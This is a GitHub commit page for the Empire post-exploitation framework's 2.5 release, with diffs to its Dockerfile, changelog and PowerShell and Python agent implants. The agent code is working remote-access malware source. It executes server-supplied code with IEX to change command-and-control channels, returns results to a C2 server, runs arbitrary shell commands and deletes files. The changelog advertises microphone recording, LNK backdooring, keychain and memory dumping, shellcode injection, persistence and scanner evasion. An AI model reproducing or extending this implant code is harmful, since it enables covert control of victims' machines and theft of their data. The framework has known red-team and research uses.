Skip to content
This repository has been archived by the owner on Jan 29, 2020. It is now read-only.

Commit

Permalink
Update Master to 2.5
Browse files Browse the repository at this point in the history
  • Loading branch information
xorrior committed Mar 15, 2018
2 parents 58ed8a4 + 7166a6d commit cfd3eaf
Show file tree
Hide file tree
Showing 54 changed files with 5,592 additions and 699 deletions.
16 changes: 0 additions & 16 deletions .circleci/config.yml

This file was deleted.

9 changes: 3 additions & 6 deletions Dockerfile
Original file line number Diff line number Diff line change
Expand Up @@ -44,15 +44,12 @@ RUN apt-get update && apt-get install -qy \
sudo \
apt-utils \
lsb-core \
python2.7

# cleanup image
RUN apt-get -qy clean \
autoremove
python2.7 \
&& rm -rf /var/lib/apt/lists/*

# build empire from source
# TODO: When we merge to master set branch to master
RUN git clone -b dev https://github.com/EmpireProject/Empire.git /opt/Empire && \
RUN git clone --depth=1 -b dev https://github.com/EmpireProject/Empire.git /opt/Empire && \
cd /opt/Empire/setup/ && \
./install.sh && \
rm -rf /opt/Empire/data/empire*
Expand Down
35 changes: 35 additions & 0 deletions changelog
Original file line number Diff line number Diff line change
@@ -1,3 +1,38 @@

03/15/2018
------------
- Version 2.5 Master Release
- Patched launcher generation bug
- Added OSX Mic record module #893 (@s0lst1c3)
- More robust password handling in ssh_command and ssh_launcher modules (@retro-engineer)
- Updated server responses for http listener (@xorrior)
- Template search bug fix (@DakotaNelson)
- bug fix to properly assign taskIDs (@shakagoolu)
- Kali & powershell install fix (@SadProcessor)
- Overhaul events system to provide more descriptive messages and accurate logging of events (@DakotaNelson)
- Added macro that backdoors lnk files (@G0ldenGunSec)
- Bug fix for invoke_psexec module when using custom commands (@ThePirateWhoSmellsOfSunflowers)
- Added capability to generate a vs studio project file to generate a csharp launcher (@elitest)
- Added capability to enable/disable/delete listeners (@mr64bit)
- Added report generation (@bneg)
- Updated http_com listener to server IIS7 default page and added response headers to evade nessus scans (@s0lst1c3)
- Fixed script generation bug for all powerview modules (@xorrior)
- Modify the minidump module to allow for non-admin users to dump memory (@ThePirateWhoSmellsOfSunflowers)
- Removed background downloads feature for powershell agent
- Added linux persistence module via the ~/.config/autostart directory (@jarrodcoulter)
- Added download command to REST API (@shakagoolu)
- Added support for '&&' and ';' characters in shell commands for python agent (@cleb-sfdcsec)
- Added wireless network information to the osx/situational_awareness/host module. (@import-au)
- Added keychain dump module that uses the security utility (@import-au)
- Added shellcode stagers and the 'shinject' module (@xorrior, @monoxgas)
- Added a sleep and jitter parameter to the Invoke-Kerberoast module (@Retrospected)
- Added capability to update agent comms dynamically (@xorrior)
- Added onedrive listener for powershell agent (@mr64bit)
- Added opsec-safe aliases for ls, pwd, rm, mkdir, whoami, and getuid in the python agent
- Updated office macro stager for python agent (@import-au)



01/04/2018
------------
- Version 2.4 Master Release
Expand Down
36 changes: 29 additions & 7 deletions data/agent/agent.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -100,7 +100,8 @@ function Invoke-Empire {
$script:ResultIDs = @{}
$script:WorkingHours = $WorkingHours
$script:DefaultResponse = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DefaultResponse))
$Script:Proxy = $ProxySettings
$script:Proxy = $ProxySettings
$script:CurrentListenerName = ""

# the currently active server
$Script:ServerIndex = 0
Expand Down Expand Up @@ -781,7 +782,7 @@ function Invoke-Empire {
$msg = "[!] Agent "+$script:SessionID+" exiting"
# this is the only time we send a message out of the normal process,
# because we're exited immediately after
Send-Message -Packets $(Encode-Packet -type $type -data $msg -ResultID $ResultID)
(& $SendMessage -Packets $(Encode-Packet -type $type -data $msg -ResultID $ResultID))
exit
}
# shell command
Expand Down Expand Up @@ -969,6 +970,27 @@ function Invoke-Empire {
}
}

elseif($type -eq 130) {
#Dynamically update agent comms

try {
IEX $data

Encode-Packet -type $type -data ($CurrentListenerName) -ResultID $ResultID
}
catch {

Encode-Packet -type 0 -data ("Unable to update agent comm methods: $_") -ResultID $ResultID
}
}

elseif($type -eq 131) {
# Update the listener name variable
$script:CurrentListenerName = $data

Encode-Packet -type $type -data ("Updated the CurrentListenerName to: $CurrentListenerName") -ResultID $ResultID
}

else{
Encode-Packet -type 0 -data "invalid type: $type" -ResultID $ResultID
}
Expand Down Expand Up @@ -1023,7 +1045,7 @@ function Invoke-Empire {
}

# send all the result packets back to the C2 server
Send-Message -Packets $ResultPackets
(& $SendMessage -Packets $ResultPackets)
}


Expand All @@ -1050,7 +1072,7 @@ function Invoke-Empire {

# send job results back if there are any
if ($Packets) {
Send-Message -Packets $Packets
(& $SendMessage -Packets $Packets)
}

# send an exit status message and exit
Expand All @@ -1060,7 +1082,7 @@ function Invoke-Empire {
else {
$msg = "[!] Agent "+$script:SessionID+" exiting: Lost limit reached"
}
Send-Message -Packets $(Encode-Packet -type 2 -data $msg)
(& $SendMessage -Packets $(Encode-Packet -type 2 -data $msg))
exit
}

Expand Down Expand Up @@ -1131,11 +1153,11 @@ function Invoke-Empire {
}

if ($JobResults) {
Send-Message -Packets $JobResults
((& $SendMessage -Packets $JobResults))
}

# get the next task from the server
$TaskData = Get-Task
$TaskData = (& $GetTask)
if ($TaskData) {
$script:MissedCheckins = 0
# did we get not get the default response
Expand Down
144 changes: 113 additions & 31 deletions data/agent/agent.py
Original file line number Diff line number Diff line change
Expand Up @@ -16,6 +16,15 @@
import zipfile
import io
import imp
import marshal
import re
import shutil
import pwd
import socket
import math
import stat
import grp
from stat import S_ISREG, ST_CTIME, ST_MODE
from os.path import expanduser
from StringIO import StringIO
from threading import Thread
Expand All @@ -40,6 +49,8 @@
lostLimit = 60
missedCheckins = 0
jobMessageBuffer = ''
currentListenerName = ""
sendMsgFuncCode = ""

# killDate form -> "MO/DAY/YEAR"
killDate = 'REPLACE_KILLDATE'
Expand Down Expand Up @@ -202,15 +213,15 @@ def process_tasking(data):
if result:
resultPackets += result

packetOffset = 8 + length
packetOffset = 12 + length

while remainingData and remainingData != '':
(packetType, totalPacket, packetNum, resultID, length, data, remainingData) = parse_task_packet(tasking, offset=packetOffset)
result = process_packet(packetType, data, resultID)
if result:
resultPackets += result

packetOffset += 8 + length
packetOffset += 12 + length

# send_message() is patched in from the listener module
send_message(resultPackets)
Expand Down Expand Up @@ -255,10 +266,17 @@ def process_packet(packetType, data, resultID):

elif packetType == 40:
# run a command
resultData = str(run_command(data))
#Not sure why the line below is there.....
#e = build_response_packet(40, resultData, resultID)
return build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID)
parts = data.split(" ")

if len(parts) == 1:
data = parts[0]
resultData = str(run_command(data))
return build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID)
else:
cmd = parts[0]
cmdargs = ' '.join(parts[1:len(parts)])
resultData = str(run_command(cmd, cmdargs=cmdargs))
return build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID)

elif packetType == 41:
# file download
Expand Down Expand Up @@ -850,34 +868,98 @@ def log_message(s, format, *args):
httpServer.server_close()
return

def permissions_to_unix_name(st_mode):
permstr = ''
usertypes = ['USR', 'GRP', 'OTH']
for usertype in usertypes:
perm_types = ['R', 'W', 'X']
for permtype in perm_types:
perm = getattr(stat, 'S_I%s%s' % (permtype, usertype))
if st_mode & perm:
permstr += permtype.lower()
else:
permstr += '-'
return permstr

def directory_listing(path):
# directory listings in python
# https://www.opentechguides.com/how-to/article/python/78/directory-file-list.html

res = ""
for fn in os.listdir(path):
fstat = os.stat(os.path.join(path, fn))
permstr = permissions_to_unix_name(fstat[0])

if os.path.isdir(fn):
permstr = "d{}".format(permstr)
else:
permstr = "-{}".format(permstr)

user = pwd.getpwuid(fstat.st_uid)[0]
group = grp.getgrgid(fstat.st_gid)[0]

# Convert file size to MB, KB or Bytes
if (fstat.st_size > 1024 * 1024):
fsize = math.ceil(fstat.st_size / (1024 * 1024))
unit = "MB"
elif (fstat.st_size > 1024):
fsize = math.ceil(fstat.st_size / 1024)
unit = "KB"
else:
fsize = fstat.st_size
unit = "B"

mtime = time.strftime("%X %x", time.gmtime(fstat.st_mtime))

res += '{} {} {} {:18s} {:f} {:2s} {:15.15s}\n'.format(permstr,user,group,mtime,fsize,unit,fn)

return res

# additional implementation methods
def run_command(command):
if "|" in command:
command_parts = command.split('|')
elif ">" in command or ">>" in command or "<" in command or "<<" in command:
p = subprocess.Popen(command,stdin=None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
return ''.join(list(iter(p.stdout.readline, b'')))
else:
command_parts = []
command_parts.append(command)
i = 0
p = {}
for command_part in command_parts:
command_part = command_part.strip()
if i == 0:
p[i]=subprocess.Popen(shlex.split(command_part),stdin=None, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
def run_command(command, cmdargs=None):

if re.compile("(ls|dir)").match(command):
if cmdargs == None or not os.path.exists(cmdargs):
cmdargs = '.'

return directory_listing(cmdargs)

elif re.compile("pwd").match(command):
return str(os.getcwd())
elif re.compile("rm").match(command):
if cmdargs == None:
return "please provide a file or directory"

if os.path.exists(cmdargs):
if os.path.isfile(cmdargs):
os.remove(cmdargs)
return "done."
elif os.path.isdir(cmdargs):
shutil.rmtree(cmdargs)
return "done."
else:
return "unsupported file type"
else:
p[i]=subprocess.Popen(shlex.split(command_part),stdin=p[i-1].stdout, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
i = i +1
(output, err) = p[i-1].communicate()
exit_code = p[0].wait()
if exit_code != 0:
errorStr = "Shell Output: " + str(output) + '\n'
errorStr += "Shell Error: " + str(err) + '\n'
return errorStr
else:
return str(output)
return "specified file/directory does not exist"
elif re.compile("mkdir").match(command):
if cmdargs == None:
return "please provide a directory"

os.mkdir(cmdargs)
return "Created directory: {}".format(cmdargs)

elif re.compile("(whoami|getuid)").match(command):
return pwd.getpwuid(os.getuid())[0]

elif re.compile("hostname").match(command):
return str(socket.gethostname())

else:
if cmdargs != None:
command = "{} {}".format(command,cmdargs)

p = subprocess.Popen(command, stdin=None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
return p.communicate()[0].strip()

def get_file_part(filePath, offset=0, chunkSize=512000, base64=True):

Expand Down
Loading

0 comments on commit cfd3eaf

Please sign in to comment.